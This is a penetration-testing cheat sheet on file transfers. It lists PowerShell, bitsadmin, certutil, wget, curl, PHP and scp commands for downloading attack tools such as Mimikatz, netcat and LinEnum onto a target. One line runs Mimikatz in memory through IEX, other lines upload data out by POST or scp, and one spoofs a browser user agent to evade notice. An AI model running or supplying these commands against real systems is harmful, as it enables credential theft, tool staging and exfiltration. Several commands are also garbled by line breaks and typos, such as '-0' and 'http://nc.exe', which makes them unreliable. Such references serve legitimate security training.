

FILE TRANSFERS

CHEAT SHEET

Download a file with PowerShell:

Invoke-WebRequest https://<snip>/
PowerView.ps1 -OutFile PowerView.ps1

Execute a file in memory using PowerShell:

IEX (New-Object Net.WebClient). DownloadString
('https://<snip>/Invoke-Mimikatz.ps1')

Upload a file with PowerShell:

Invoke-WebRequest -Uri http://10.10.10.32:
443 -Method POST -Body \$b64

Download a file using Bitsadmin: bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

Download a file using Certutil: certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

Download a file using Wget:

wget https://raw.githubusercontent.com/
rebootuser/LinEnum/master/LinEnum.sh -0
/tmp/LinEnum.sh

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Download a file using cURL: curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser /LinEnum/master/LinEnum.sh

Download a file using PHP:
php -r '\$file =
file_get_contents("https://<snip>/LinEnum.sh"
); file_put_contents("LinEnum.sh",\$file);'

Upload a file using SCP:
scp C:\Temp\bloodhound.zip
user@10.10.10.150:/tmp/bloodhound.zip

Download a file using SCP: scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe

Invoke-WebRequest using a Chrome User Agent:
Invoke-WebRequest http://nc.exe -UserAgent
[Microsoft.PowerShell.Commands.PSUserAgent]:
:Chrome -OutFile "nc.exe"

